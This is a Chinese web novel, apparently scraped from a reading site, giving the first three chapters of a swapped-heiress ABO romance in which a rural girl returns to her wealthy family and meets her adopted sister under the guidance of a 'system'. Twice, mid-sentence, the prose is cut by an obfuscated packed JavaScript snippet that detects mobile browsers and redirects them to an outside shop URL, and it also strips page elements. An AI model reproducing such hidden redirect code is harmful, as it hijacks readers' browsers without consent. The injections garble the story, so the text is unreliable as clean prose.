《假千金Omega不可能喜欢我》 1. 第一章 【宿主的结局到这里就播放完毕了,请问宿主是否需要再次播放?】 八月的A市少见的下雨,雨水淅淅沥沥地划过车窗,映照着少女并不轻松的脸。 许南星一言不发地看向窗外,仿佛砸在她视线里的不是雨水,而是迸溅的血滴。 她有着一双靛蓝色眸子,傍晚微弱的光线落在里面,满是沉默。 司机透过后视镜看着由她接回家的新小主人,眼神里有些怜惜。 那洗的发白的T恤挂在少女瘦削的肩膀上,似乎再多洗一次都要坏掉。 可司机知道,这是这孩子最体面的衣服了。 在南郊的村子里生活了十七年,突然发现自己不是父母的亲生孩子,而是A市有名有姓的顶级豪门许家的孩子,怎么说都让人接受不及。 这件事发生的太急,太太和先生当时都在国外。 太太一心想让自己的女儿回家,回国和接小姐回家同时进行,所以今天也没能亲自来接小姐回家,也不知道小姐会不会介意。 “小姐,刚刚接到消息,夫人和先生已经回国,您的亲人都在家里等您。”司机想要宽慰许南星,温柔的告诉她。 “我知道了,谢谢。”许南星回以微笑,只是心里并没有得到多少宽慰。 有什么比看到自己的死亡画面还让人感到胆战心惊的。 许南星觉得没有了。 这个八月对许南星来说,无比魔幻。 她因为快成年了还没分化,被奶奶带着去医院检查。 结果被警察告知,她其实是许氏集团被抱错的千金。 接着现在她又在回许家的路上,被闪现到她眼前的光球激动告知,她其实是一本真假千金文的恶毒Alpha女配,而它则是来帮她改变命运的系统。 这系统还怕许南星不相信,直接给她看了她因为作恶多端,被赶出许家,横遭车祸的结局。 鲜血以无比真实的状态朝许南星飞溅过来,她甚至能清晰从空气中嗅到血腥的味道。 没人知道她在地上滚了几圈,骨头应该是断了。 或许是肋骨,或许是腿骨,反正到最后,许南星已经幻痛到无法分辨了。 现场太惨烈,许南星都不想倒回去仔细看看自己分化成Alpha后是什么样子,赶忙对那个发光小球忙摆手:“不用了,别,我谢谢你。” 【不用客气,帮助宿主是我应尽的职责!】这小球似乎听不出反话,乐呵呵地跟许南星表示。 许南星嘴角扯扯,对系统的专业性表示怀疑:“你真能帮我摆脱死亡结局?” 【当然!我会指引宿主,改变恶毒女配的命运的!】小球昂起胸脯。 “可凭什么啊?凭什么我是恶毒女配啊。明明我才是被抱错的那个倒霉蛋儿,我才应该叫许清影!”许南星不甘心。 她看小说的时候,最讨厌的就是恶毒女配了,每当有恶毒女配下线,她都要投雷庆祝。 谁承想,这些年许南星投过的雷成了回旋镖,一颗颗地朝她轰炸来。 她成恶毒女配了。 果然人终究会成为自己最讨厌的人吗? 【哔!】 许南星还在心里吐槽着,脑袋里就发出一声极刺耳的错误提示音。 飘在她眼前的小球蓦地变成了一个红色叉号:【错误,请宿主尽快改正自己的错误思想!】 许南星一脸茫然:“什么?” 系统严肃的告诉许南星:【宿主,就是因为你一直有这种想法,觉得自己的人生都因为一场抱错被耽误了,所以自怨自艾,尤其是听到周围人都拿许清影跟你对比,而自己事事比不上许清影,你越发觉得许清影的人生才是你该有的人生,各种跟她对着干。】 【可是宿主,这样的想法是不对的。那些嘲讽都是恶意的,你不用跟许清影比,你可以有属于你自己的人生。】 聊了这么多,许南星总算是从系统这话听到了些像样的说:“这话说的没错。” 小球得到肯定,凑过去贴了贴许南星,笑着调侃起原文许南星的手段:【而且宿主,你的报复伎俩在许清影这里都不算什么,毕竟人家是爽文大女主。有读者为此还评价你为:甩不掉的牛皮癣,癞蛤蟆不咬人膈应人……】 “停!”许南星紧咬着牙。 她觉得自己夸系统夸早了。 “你是我的系统,还是许清影的系统啊,你就不能说点好听的?” 【好听的……】 系统停顿了一秒,接着闪烁道:【有人称宿主和许清影一起出场的情节为姐妹调情,因为有人统计过,许清影笑的时候,全都是在宿主你出场的时候呢!要知道,许清影是出了名的冰块脸,没感情。】 “谢谢,有被安慰道。”许南星面无表情,并不觉得这是什么荣誉。 似乎是跟许南星相处久了,系统总结出了许南星的说话风格,变得通人性起来:【宿主不要气馁嘛,故事才刚刚开始,一切都还能改变。】 “那我如果不给许清影捣乱,和她好好相处,是不是就能改变结局了?”许南星思考。 【算是吧。】小球点点头,又摇摇头,【也不完全是,还有些数据指标需要宿主达标,待会我再给宿主说吧。】 “为什么?”许南星迫不及待地想要逆天改命,她可不想自己最后一无所有,被车撞飞,横死当场。 【因为宿主到家了呀!】小球变出温暖的光,缓慢飘向窗外,示意许南星向外看。 【接下来是亲人团聚时刻,系统判断,亲人团聚的优先级高于发布任务。】 细雨交织,将盛夏的草地洗得旺盛茵绿。 明明同样都是草,许南星却觉得这里的草地跟她在村子里看到的不一样。 就像她沿着石板路往前看去,在路的尽头看到的那幢静静伫立的别墅。 车子开的越近,许南星看得越清晰。 别墅门廊下站着三个人,她们身高不同,衣着不同,但站在一起,就无端的让人觉得是一家三口。 对呀,许清影是女主,无论她是真千金还是假千金,许佩宁和周安都爱着她。 这样的想法让许南星突然局促起来。 从车上下来,她手攥得很紧。 雨水啪嗒啪嗒地打在伞上,却像砸在了许南星的脚面,叫她寸步难行。 只靠那份薄薄的血缘,无法给她在这个偌大又豪华的房子面前撑起自信。 “南星!” 好在许南星迈不出的第一步,有人可以。 许佩宁在看到许南星下车的瞬间,就从门廊下跑了出去。 佣人来不及跟上,她淋着雨,昂贵的小羊皮沾了水,可真正该被珍惜的早被她紧紧搂进怀里。 “南星,对不起妈妈没能亲自去接你,妈妈真的好想你。” 夏天本来就不冷,拥抱让人浑身都暖呼呼的。 许佩宁的声音在颤抖,许南星却并不觉得这是悲伤。 从来都没有长辈给过她这样用力的拥抱,许南星感觉自己好像回到了还在母亲肚子里的时候,Omega的温柔气息将她紧紧地牢牢地护在身体里,下着雨的世界也无比安稳。 于是那声呼唤,也近乎出于本能,从许南星紧闭的双唇抖落了出来—— “……妈妈。” 瞬间,许佩宁抱着许南星的手臂更用力了:“孩子,我的孩子。” 世界上最美好的故事,大概就是失而复得。 如果自己以后不会扭曲黑化,让妈妈失望后悔就更好了。 “不要在外面了,下着雨淋在身上不好受,小星也会感冒的。” 男人的声音缓慢且温柔地从许南星头顶传来,她抬头就看到原本站在门廊的父亲也走了过来。 周安给紧搂着女儿的许佩宁撑着伞,又眉眼温和地看着许南星,无声地向她传递父亲的想念。 夕阳将人的影子拉长又重叠,将她们交融在一起。 许南星看不到,她们现在也是一家三口。 . 拥抱让人满足,也让人放下了紧张与局促。 许南星被许佩宁牵着手,走进了家门。 有钱人家的灯都比乡下房子明亮,许南星的眼睛适应不及,狠狠地眨了两下。 接着她就感觉自己手里的那个破旧的背包被拿走,那个她只有在电视剧里才看到过的佣人过来,轻而易举的卸下了她过去十七年的全部重量。 而重量消失,许南星有些不知道自己该干什么。 她局促的搓了搓手,看着妈妈和爸爸泰然接受佣人照顾,一道白色身影缓慢挤进了她的视线。 【宿主,这就是许清影哦,她现在还没有分化。】 小球在许南星脑袋里闪了一下,许清影在许南星的视线里突然清晰起来。 刚刚许佩宁和周安都过来拥抱了许南星,只剩下许清影没有跟许南星拥抱。 门外的雨不大,雨伞却也缀满了雨水。 大概许清影现在身份尴尬,佣人也势利起来,没人主动过来接许清影手里的伞,她静默的走在队伍最后,被挤在一个角落。 换鞋,收伞。 水滴顺着伞骨淌到她的裙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971349|193454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆,她应付不及,白色的裙摆被洇湿了一块接一块,远远地看去就像是一朵被水打湿了的蔷薇。 【宿主,许清影好可怜啊,你要不要过去给她送温暖,尤其是现在家里的佣人见风使舵,你过去肯定……】 还不等系统说完,许南星就已经走向了许清影。 她没有犹豫,从许清影手里拿过了伞:“伞给我,你换鞋。” 无关刷好感,只是许南星的正义感在推着她往前走。 许南星的手并不漂亮,农村的养父母拿她当苦力,手指上贴着一层茧子。 好在它并不粗笨,拿起折叠伞几下就收好了,许清影都没来得及仔细看。 但就是因为没来得及,许清影的视线在许南星的手上停了下来。 她擦了擦自己沾了雨水的手,接着主动朝那只手伸去:“我是许清影。” 许南星当然知道面前的人是许清影。 她想大概许清影以为自己不知道她是谁,毕竟谁也想不到,真千金回来了,假千金还能被留在家里。 今天是许南星回家的第一天,原文里的故事都还没有发生,她对许清影不存在嫉妒与恨意。 所以没有任何负担的,许南星坦然的回应了许清影的招呼:“我是许南星,我知道你。” 那小麦色的手盖在白皙的肌肤上,在灯光的对比下格外明显。 许清影默然注视着这只手,在听到许南星的话后,平静的眼神隐隐有些晃动。 许南星没注意到,只是对许清影莫名有种奇妙的感觉—— 这个人的手比她过去触碰过的所有手都要柔软,细腻的肌肤包裹着纤细的指骨,从内而外的透出一股温润的冰凉,好像她戴在脖子上的那个玉坠子。 果然这就是女主吗? 许清影在许南星这里的第一印象实在奇特,叫许南星忍不住抬头仔细去看这个人。 刚刚进门的时候只关注到了许清影的狼狈,没注意到她还有一双漂亮的眼睛。 黑发下两枚银灰色的瞳子像是纯净的水银,无害又富有侵略性。 此刻的它正沿着许南星的手背蜿蜒往上,静静的盯着手腕上那道突兀的疤痕。 这视线太悄悄,却又在被人发现后变得无比直接。 许南星没被这样看过,整个人不自在起来。 她觉得这场释放友好信号的握手仪式也够久了,干脆收手结束。 可许南星的收手并没有成功。 许清影感觉到许南星的结束信号,却没有主动放开。 这个人看起来弱不禁风的,手劲却超出许南星的预料。 许清影的眼睛还在许南星手腕上的伤疤徘徊,甚至在许南星的注视下忽的低头凑近。 雨水交织的世界,气味都变得复杂。 许清影出声,许南星深吸了口气,无名的香气猝不及防的卷进她的鼻腔,叫她眼瞳沿着许清影的视线微微放大。 可没有分化的少女,有哪里来的特殊的气味呢? 没等许南星想明白,许清影的动作就停下了。 她凑到了一个近乎可以吻在许南星手背的距离,水银色的瞳子认真的抬起头来看向许南星:“你出血了?” 这声音听着没什么起伏,像是诧异的疑问,又像是冷淡的陈述。 许南星又不自觉的深吸了口气,看着那刚刚被她评价为玉脂的手指像蛇一样缠过来。 它坦然的按在许南星那道老旧的疤痕上,像是根本没注意到这道疤,单纯的指引许南星看向大拇指侧那条细细的血痕。 不长不短,血还很新鲜。 许南星不以为然,这些年干农活爬树打枣子,什么伤没受过,这点伤根本不算什么。 更况且,比起伤口被提醒后才察觉到的疼痛,许清影贴在她疤痕上的手指,更叫许南星在意。 如果只是为了查看她的伤口,是不是有些太夸张? 这种毫无预兆的靠近是不是该评价为冒犯? 果然原文中她会讨厌甚至痛恨许清影,不是没有原因的…… 不对不对,她不该这么想。 可能性格冷僻的许清影不知道怎么正确关心人,这完全是她出于善意的表现。 “大概是刚才不知道碰到哪里了吧,没事儿。”不等系统提醒,许南星就及时扼杀了心里幽幽冒出的对许清影的恶意,囫囵着想把手收回去。 而这一次,许南星又失败了。 明明这人在看着许南星的时候,露着一个温柔无害的笑容,可行动上充满了控制欲。 “我给你上药吧。” 2. 第二章 即使在炎热的夏天,淅沥的落雨还是浇灭了蝉鸣。 那被雨淋湿了的翅膀轻轻抖动着,怎么也无法摆脱水珠的重量。 许南星被许清影握着手,心底升起一股异样的感觉。 年岁已长的疤痕按理说早就失去了那份脆弱的敏锐,可许清影的手指覆在上面,却像是唤醒了原本敏锐的神经,争先恐后的将许清影指尖的温凉传递进许南星的肌肤。 她是故意的? 就这么个小口子,药拿来的晚点都能愈合了,至于非要给自己上药吗? 许南星眉头要皱起来,就快觉得许清影的友好别有目的。 可许佩宁和周安的反应,却一下打破了此刻诡异的气氛,甚至洗白了许清影对这个小伤口的大惊小怪。 “怎么划破了?疼不疼啊。” “管家,书房有我从H国带来的药膏,那个对划伤最有效。” “小星来,快坐下,让妈妈看看有没有事。” …… 许南星在许佩宁和周安交替的声音中,坐到了客厅沙发上。 许清影的大惊小怪在这两人的衬托下变得不过如此,甚至她表情冷淡的坐在许南星身边,都让许南星有了个可以喘息的口子。 “真没事儿,都结痂了,也不妨碍我活动。”许南星为了保证自己说的是真的,说着就举起手朝两位紧张的家长转起了手腕。 “太太,药膏拿来了。” “给我吧。” 这时一个经典管家打扮的女人走过来,许清影穿过围在许南星手边的两人,接过了药膏。 许佩宁也想接过许清影的活,却被周安按了下来。 他用眼神示意,先给她们姐妹俩一些相处的空间,毕竟许清影以后要和许南星在同一屋檐下生活。 而还没有熟悉这个家的许南星则一点反应都没有。 她只感觉自己的手才刚从许清影手里逃出来没两分钟,接着就被她重新抓了回去。 那小麦色的指节被看似文弱的白皙手指压着,挣扎无力,就这样任由许清影将清凉的药膏挤在那道细细的伤口上,又用手指推开抹匀。 许清影的指温本来是有些凉的,可是在药膏的对比下,又透出些温暖。 好奇怪的感觉。 这就是被人关心吗? 许南星认命的看着自己被温柔对待,不适应之余,隐隐又觉得这种有人关心的感觉还不差。 谁不想受伤的时候,有人来关心呢? 许南星对待伤口的不以为然,不过是过去没人在乎罢了,要是因为受伤耽误了干活,还会被骂。 是她刚才太敏感了吗? 许清影不肯放开自己的手,可能真的只是在关心自己。 淋漓的落雨将傍晚快速过渡到潮湿的夜晚,客厅里的光线在这夜格外温和。 许南星默默的挪着自己的视线看向许清影,顺直的黑发垂在她的脸颊,一点刚才控制欲的影子都没有,纯良的像只垂耳兔。 ……可能她真的感觉错了。 “你的这个疤看起来好严重。” 就在许南星以为自己误解许清影的下一秒,许清影的声音幽幽在许南星耳边响起。 她完全没有感觉错! 许清影就是对她的伤疤很在意,她刚才就是在借给她指伤口的机会,摸这个疤痕。 “只是碰在镰刀上了,没什么好大惊小怪的。”察觉到了许清影的目的,许南星冷淡的收回了自己的表情,还有手。 终于,许南星这次成功了。 药膏是最好的润滑剂,让许南星的手擦着许清影的手指流走。 只不过,收回来的时候不可避免的在上面留下了许清影手指划过的路径。 许南星盯着这条路径看了有一会,还不知道拿这道路径怎么办。 而她刚刚的不以为然,接着就引燃了许佩宁的惊痛:“怎么会碰在镰刀上,是不是谁欺负你了,快让妈妈看看!” 许南星感觉今天自己的手总是由不得自己,刚从许清影手里逃走,现在又落到了许佩宁手里。 她真没觉得自己这个伤疤有什么值得关注的,只是看着许佩宁心痛的样子,又忍不住去宽慰她:“没事的妈妈,就是五岁那年秋忙,没人看我,我没走稳,不小心磕在镰刀上了。” “但我身体好呀,都没缝针,它自己就好了。”说着许南星冲许佩宁没心没肺地笑了一下。 可越是这样,许佩宁的眉头皱得就更紧。 这是她抱错的女儿,她没有陪在她身边的那十七年,让她经历了多少磋磨。 “肯定很疼吧。”许佩宁难过的泪水都要忍不住,窗外淅淅沥沥的雨还是落进了她心里。 “没有,这些年过去了,我早忘了。”许南星实话实说,“而且它也没有留下什么后遗症,你看我现在不还是活蹦乱跳的到你跟前了吗。” 有的家长,会将孩子的懂事当做榨取她的机会,无休止地索取。 而有的家长,会将孩子的懂事视若珍宝,愧疚和心疼翻涌不止。 许佩宁轻轻拂过许南星手腕的疤痕,一遍又一遍,眼里满是心痛:“小星,妈妈欠你太多了,妈妈要给你办个大的欢迎宴会,妈妈要告诉所有人,我找到我的女儿了。” “佩宁,会不会太快,小星才刚回来,家里人还没有认全呢。”周安理智地提醒许佩宁。 这话倒提醒了许佩宁,她一把拉过许清影的手放在许南星的手上。 而许清影正望着许南星的手腕不知道在想什么,被许佩宁一拉,神色罕见的露出了失控。 “对。小星,这是清影……妈妈和爸爸现在想把她留下来,让她当你的姐姐,和妈妈爸爸一起爱你,弥补你这十七年的缺失,好不好。” 当那片白皙的肌肤又一次盖在小麦色的土壤上,许南星已经数不清,这是她今天第几次和许清影握手了。 许南星有些认命,却又不是那么的认命。 她甚至都忘了纠结自己为什么要做妹妹,一心扑在反将许清影一局上。 许南星想,反正刚才她都当着许佩宁和周安的面,说她知道许清影了,也就不用那么多寒暄,直接出击握住许清影的手,出其不意,扳回一局。 灯光下,许南星闪了闪她的眼睛。 那靛蓝色的瞳子青涩中写着跳脱,心思都在笑容里。 “当然好!”许南星朗声,抬手将许清影的手压在手下。 “姐姐,以后请多多关照。” 先是被许佩宁突然拉过手,接着又被许南星握住手。 等许清影反应过来的时候,她就感觉自己的每一根手指都被许南星包裹住了,挪动不得。 粗糙的茧子磋磨在她的手背、指间,纹路逐渐清晰。 许清影终于回过神来。 但没有躲。 她只微微挪了下手腕,像是要让自己的手掌能接受更多来自许南星、来自“妹妹”的温度:“当然。” 两两相握的手是友好的旗帜,灯光借机将少女们身形连接在一起,有种奇妙的交融感。 周安在一旁看着,暗暗松了口气。 他刚才是真的担心,许佩宁这样冒失地将她们把许清影留在家里这件事告诉给许南星,许南星会伤心难过,以为父母在偏心抱错了的许清影。 所幸许南星没有,甚至懂事得让人心疼。 周安和许佩宁一样,更想要加倍补偿她。 . 许南星不知道原本自己听到是父母留下许清影是什么感觉,现在她因为被系统提前剧透,对这件事接受得很快。 而且她的确不想父母把许清影送回她亲生父母那里,毕竟许清影亲生父母那里什么情况,她是最了解的。把许清影送回去,无异于羊入虎口。 “羊……” 许南星躺在床上,眼睛缓慢的眯了起来。 柔软的床褥像要把瘦削的少女吞没,新家的一切都让许南星眼花缭乱,适应不及。 她望着卧室屋顶,干净没有霉斑的天花板上缓慢浮现出许清影的模样。 白裙,黑发,干净的好像是冬日从天而降的雪花。 那双水银色的眼睛静静的同许南星对视,她面无表情,她人畜无害,像蛇,像兔子,但就是不像“羔羊”。 “系统,你在吗?”想到这里,许南星唤起了消失的系统。 小光球“呦吼”一声,闪进了许南星的视线:【系统24小时都在的哦!】 “许清影。”独自念起这个名字,许南星还有些生涩,“许清影是个什么样的人?” 【成绩优异,但性格冷僻。虽然心机深沉,但对家人很好。】系统总结道。 “所以刚才她为什么这么在意我手腕上的这个疤?她把我当家人了?还是她身上也有这样的疤?”许南星推测。 【不好说……许清影的身体情况我不是很清楚。】系统摇头。 许南星皱眉:“你不是系统吗?怎么会不清楚?” 【这其实是宿主的任务。】 “我的任务?”许南星不解。 【刚才在车上的时候,宿主不是询问我该怎样改变命运吗?宿主需要通过增加自己的生命值来改变命运,而生命值是要通过任务来积攒的。】 许南星闻言立刻从她柔软的床铺中挣扎了出来:“详说。” 【生命是由各种各样的羁绊连接而成的。如果想改变命运,就需要宿主不断与人产生并加深羁绊。刚刚宿主跟家人见面,你的命运值就通过家人羁绊增加了0.1。】 “那多少我才能改变命运?”许南星掏出计算器跃跃欲试。 【100。】 许南星丢掉了计算器:“这我要攒到猴年马月啊。” 【不同的羁绊和羁绊程度赋值是不同的,简单的家庭聚餐并不会加分,今天能加分是因为今天宿主和家人的见面具有里程碑的意义。而随着宿主和家人的羁绊越深,家人对宿主的意义越重要,加分也会越多的。】 “原来是万事开头难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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【对,就是这种!】小球一下警惕,【宿主可千万不要被影响啊!】 “放心,我心态超好。”许南星拍胸脯,少年的自信让她对这个剧情之手很是不屑,尤其是她刚刚还敏锐的躲过了这次剧情给她设计的陷阱。 宿主踌躇满志,系统也跟着斗志满满:【那接下来让我给宿主介绍增加生命值的途径吧!】 “嗯。”许南星认真的拿出了小本本。 【宿主的生命值要从这三方面获得:家人羁绊,友人羁绊,爱人羁绊。羁绊达成时,系统会解锁对方信息。羁绊越深,解锁信息越多,甚至宿主可以看到解锁对象隐藏的过去。】 【系统判定生命值增加也是靠羁绊深度,加分幅度不等,具体还要看事件本身。一般来说为了避免重复刷分,家人、友人、爱人是互斥的。但我发现在宿主身边,有一个人是例外。】 “许清影。”许南星思路异常清晰,“是不是?” “我和许清影现在是家人,但因为没有血缘关系,所以也可以是朋友。” “而且……”许南星托腮沉思,小脑袋瓜转得飞快,“如果我抱她大腿,跟她混,是不是还能顺便蹭到她的主角光环,不会那么轻易就被剧情之手按在地上摩擦?” 【不排除有这种可能的!】小球疯狂点头,格外兴奋。 【而且宿主,你还落了一个!因为没有血缘,你和许清影还可以是爱人呢!】 “爱人”两个字一出,许南星当即脸色一变:“住嘴!” 【怎么了宿主,我觉得许清影是个不错的人选呀。】小球不明所以,【许清影未来会是顶级Omega,坐拥财富万千,是多少Alpha的梦中情人。你都决定要抱许清影的大腿了,不如干脆一点,和她……】 “不可能!”许南星自己的捂住了耳朵,余光里是她手腕上那个伤疤。 想到今天自己几次无法抽离的手,曾经有手指停留在上面的感觉就死灰复燃。 那种陌生的温凉看起温柔,实际上却充满了侵略性,叫许南星的逆反心一下就上来了。 许南星承认许清影优秀漂亮,腹黑有手段在她这里也不算缺点,跟这样的人当家人、当朋友她也乐意为之。 可是做|爱人…… “就是全天下的Omega都消失了,我也不会跟许清影在一起!我找Beta也不会找许清影!” 【可是许清影真的是个很好的爱……】 系统还要说下去,许南星的眼刀刷到就瞪了过来。 小球委屈闭嘴,光都黯淡了,深深为自己宿主未来的幸福感到担忧。 “当当当。” 虽然许南星跟系统聊了这么久,但都是在脑海里,房间还是十分的安静。 清脆的敲门声从门的另一侧响起,吓了许南星一跳。 许南星看了眼时钟,接着朝门口看去:“谁呀。” “是我,许清影。” 时针“咔哒”一声走到九点,许清影站到了许南星的房门前。 3. 第三章 许南星算是体验到一次什么叫做不能背后说人。 虽然她刚才都是在脑海里跟系统对话,但她还是控制不住的心虚,古铜门把手压在手里,沉甸甸的。 “什么事?” 许南星佯作淡定的打开门,一束光就照在了许清影的身上。 那薄薄的眼皮不堪光照的突然,快速的眨动了两下。 几簇纤细的睫毛垂在许清影眼前,乌黑浓郁的,跟她肌肤的白形成了强烈的反差,整个人都透着干净。 许南星又一次下屏住了呼吸。 适应了突然亮起的光,许清影伸出手来,将刚刚给许南星抹过的药膏递给她:“药膏。” “你刚才上楼忘记拿了,妈妈让我拿给你。” 许清影的手细长漂亮,衬得手里的药膏盒子都格外有质感。 尤其是没了自己的手陪衬。 许南星轻皱了下眉,快速的从许清影手里把药膏接过来,没注意到她的指尖有一秒蹭过许清影的掌心:“谢谢。” “不客气。”许清影淡声,收回的手掌慢慢握在一起,“这个药膏对伤口愈合很有效果,也不会让伤口留疤,你记得每天都要用。” 说罢,许清影又补了一句:“就是手腕上的那个疤太深太久了,药膏可能不太有效果。” “嗐。”许南星抬手看了眼自己这个今天出场率格外高的疤痕,不以为然,“没效果就没效果,一个伤疤而已,我没那么在意,你和妈妈爸爸也不要在意了。” “而且……”许南星看着这个疤痕,像是想起了什么,眼睛慢慢弯了起来,“我之前还跟朋友说呢,有了这个伤疤,如果以后我走丢了,很容易就能找到我啦。” 许清影望着许南星挥动的手腕,思绪沿着弯扭的疤痕,别有意味的附和道:“是啊,只要靠着这个伤疤,就能找到你。” “嗯,是呢。”许南星没听懂许清影的别有意味,点点头,算是对许清影附和的附和。 “你以后也会忘记这个朋友吗?”许清影用很轻的声音讲,前言不搭后语。 走廊的灯光静谧幽暗,在许清影的眼睛里留下一层浅银色的晦涩。 许南星莫名嗅到了点伤怀的味道,注意力都落在许清影的眼睛上,没留心听她说了什么。 “你说什么?”许南星追问。 她下意识的觉得许清影这句话很重要,补充道:“我没听清,你能跟我再说一遍吗?” “没什么。”可许清影并不想重复。 她默然收回了眼底的情绪,又恢复了平日里的冷淡模样。 这两个人今天才第一天认识,没什么共同点,也没什么话题可聊。 许南星的追问被许清影用摇头敷衍过去,场面说话间就冷了下来。 许南星握了握手里的药膏盒子,决定先做那个结束对话的人:“那,不早了,咱都去睡觉吧?” “好。”许清影没做停留,点头同意了。 可系统不同意,着急的冒了出来:【宿主,你不要是抱大腿吗?!】 【人家许清影大晚上过来给你送药膏,你没有什么表示吗?说点漂亮话刷个好感也行呀!】 许南星立刻撤回了一个关门动作:“姐……许清影!” 许清影蓦然停住了自己的步伐,回头就看到许南星房间的门缝里挤着一颗小脑袋。 虽然许南星还是没习惯喊许清影姐姐,但她可以对她说谢谢:“谢谢你给我送药膏,祝你今晚好梦!” 许清影闻言轻轻勾了下嘴角,回道:“也祝你做个好梦。” . 可能主角不仅有主角光环,还有言出法随的言灵效果。 许清影祝许南星做个好梦,许南星就真的做了个好梦。 梦里许南星只用了一周的时间就让自己生命值达到100,许清影都要反过来抱她大腿,冷着张脸,不情愿又无可奈何地配合坐上主角宝座的她,振臂高呼:“小星大王万岁万岁,万万岁。” “嘿嘿……嘿嘿……”许南星抱着许佩宁给她放的陪睡玩偶,傻呵呵地笑着,睡前还平整的床铺被她睡得七扭八歪。 “咚!” “哎哟!” 梦做得美好,现实醒过来的时候就格外悲伤。 许南星一个翻身,从床上掉了下来,结结实实地摔在了地板上。 疼痛结结实实的沿着少女的尾椎蔓延开来,许南星茫然地睁开眼睛,还没有适应自己的房间从漏风的小北屋变成了朝阳的大房子。 她躺在地上望着眼前对她来说十分奢侈的环境,缓了好一阵,才慢慢想起自己昨天已经回了亲生父母家,她现在的家人是连她手侧不小心划了一个小口子都要心疼好久的人。 “真好。” 想到这里,许南星就痴痴地捧着自己的手,对那个小的不能再小的伤口笑了起来。 有人关心真的好幸福啊。 要是不用提防变成恶毒女配的命运就更好了。 日光下,许南星眨了眨眼。 可能因为刚才的梦的原因,许南星觉得“系统”应该也是一场梦,对着空气试探起来。 “系统?你还在吗?” 结果下一秒小光球从许南星眼前凭空就蹦了出来,热情洋溢:【宿主,我在!睡眠监测显示,您昨晚的睡眠很好,今天会是很好的一天。】 “果然不是梦。”许南星叹了口气,嘀咕着从地上站了起来。 【宿主不睡了吗?现在是早上六点十分,距离早餐还有一个小时五十分。】 “不睡了。”许南星有她的生物钟,过去她差不多就是这个点起床,做饭喂鸡,还要骑二十分钟的车子去镇上上学,时间很紧张。 生物钟一时半会儿不好改,许南星躺在床上也是干瞪眼。 她在窗前伸了一个懒腰,打算用空下来的时间熟悉一下她的新家和新家人。 “系统,昨天我是不是解锁了家人的资料?”许南星一边下楼一边问。 【是的宿主,你解锁了许佩宁、周安和许清影的基本资料。】系统给许南星同步。 风缓慢的从远处吹拂来,扫去了夏日的热意。 浓绿的叶子发出沙沙的声响,为并不存在的纸张翻页配音。 “原来许家从我太姥姥开始,就是女性Omega当家了。”许南星诧异,甚至开始觉得未来许清影成为许氏集团的主人很合理。 【其实是许氏集团都默认女儿是继承人,至于分化成Omega纯属巧合,宿主如果想的话也可以呀。】系统鼓励许南星。 “不要。”许南星摇头,“我更想好好活下去。” 【的确,未来许家权力斗争太残酷,还是好好活下去更重要。】系统给予许南星很大的认可。 “没错。”这个话题过去,许南星将许佩宁和周安的资料放了在一起,顿时发现了新大陆,“哇,妈妈居然比爸爸大两岁哎,爸爸还是姥姥的特助,她们两个居然背着姥姥谈恋爱!” 【而且你看,从幼稚园到大学,爸爸一直都跟在妈妈身后哦,还是妈妈的跟班小弟呢。】系统将许佩宁和周安的人生轨迹并列在一起。 “真好啊。”许南星的眼睛缓慢的露出笑意。 每当养父母吵架,许南星就会爬到家外的草垛上,一个人望着星星。 她真的好想拥有一个和睦的家庭、不会动不动就吵架打她的妈妈和爸爸。 现在,这个梦实现了。 许南星越发想了解她的家人,看完许佩宁和周安的资料,就迫不及待的打开了许清影的资料。 只是不知道是不是许清影还太小,人生经历不多,她的资料远没有许佩宁和周安的多,甚至一眼就能扫完。 “怎么这么几句?就是个路人甲也不至于吧这么点吧。” 许南星她还想借此多了解点许清影,为今后抱许清影大腿做准备呢。 【可能因为许清影是主角?】系统也不明白,尽量解释,【所以资料获取比别人困难一点。】 “当主角可真好啊,连隐私等级都比别人高。”许南星想起今早她做的那个梦,羡慕的拖长了声音,重新对许清影的有限资料研究起来。 “许清影165哎,嘿嘿比我矮5厘米。” “哇 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许南星亮着眼睛朝池塘后走去,拨开栅栏,就看到植物架子一排一排的列在地里,绿叶缠绕,盘藤结瓜,好不丰盛。 “哇,家里竟然还有菜地啊。”许南星又惊又喜。 系统则从资料不起眼的角落找到了资料:【是许佩宁的菜园,比起插花品茶看展,她更喜欢摆弄这些东西。】 “妈妈还有这个爱好。” 许南星昨天看到许佩宁那样温柔优雅,还以为妈妈十指不沾阳春水,叫她有些局促。 而现在她想到许佩宁也会跟她一样为了种好蔬菜手指沾满泥土,整个人就高兴不已。 原来妈妈和她的爱好是一样的。 只是,这样的高兴没能在许南星脸上保持太久。 她新奇的探看,走到了一块竖在地上的木板前,毫无防备的就看到了上面用亚克力板封存的儿童幼稚涂鸦。 木板被保护的很好,时间不曾在上面留下痕迹,还歪歪扭扭的写着一行涂鸦字:“清影和妈妈&爸爸的菜地。” 绿叶交织的光影落在许南星的脸上,看着她的嘴角慢慢从叶子上滑落了下去。 怎么会不觉得羡慕和难过呢? 许清影在小时候写下的妈妈和爸爸,也是许南星的妈妈和爸爸。 许南星看着这一行幼稚却被人分外珍惜着的字迹,不忍住去想,如果这个“清影”是她的该有多好。 【宿主!】 就在许南星快要被遗憾沉溺时,系统突然出声,声音还有些紧张。 许南星不明所以,还以为系统在提醒自己不要产生这样的想法,会被剧情之手捕捉。 却不想现实的情况更糟糕—— 远处本应该长着蔬菜的田地被翻了个底朝天,被刨出来的根挂着泥土,大咧咧的暴露在空气中,还没长好的果子被拔出来的牌子砸坏,汁水染坏了牌子上“清影的菜地”的字迹。 “!” 许南星在农村长大,格外珍惜作物,登时就跑过去,趁还来得及赶紧把菜重新扶回地里。 